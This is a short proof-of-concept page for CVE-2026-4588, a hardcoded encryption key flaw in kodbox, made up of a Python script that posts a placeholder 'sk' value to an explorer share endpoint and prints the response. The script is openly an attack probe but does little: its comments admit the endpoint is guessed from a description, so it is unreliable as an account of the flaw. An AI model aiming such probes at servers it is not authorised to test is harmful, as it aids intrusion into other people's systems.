CVE-2026-4588 kodbox硬编码加密密钥漏洞

# PoC for CVE-2026-4588 # The vulnerability involves a hardcoded key check in the 'sk' parameter. # This script demonstrates sending a request to the vulnerable endpoint. import requests def check_poc(target_url): # Vulnerable endpoint path based on description url = f"{target_url}/index.php/explorer/shareOut/shareSafeGroup" # The 'sk' parameter is manipulated to trigger the hardcoded key usage payload = { "sk": "attacker_controlled_value" } try: response = requests.post(url, data=payload, timeout=10) if response.status_code == 200: print("[+] Request sent successfully. Check response for indicators of vulnerability.") print(response.text[:200]) else: print(f"[-] Unexpected status code: {response.status_code}") except Exception as e: print(f"[!] Error: {e}") if __name__ == "__main__": target = "http://127.0.0.1" # Replace with actual target check_poc(target)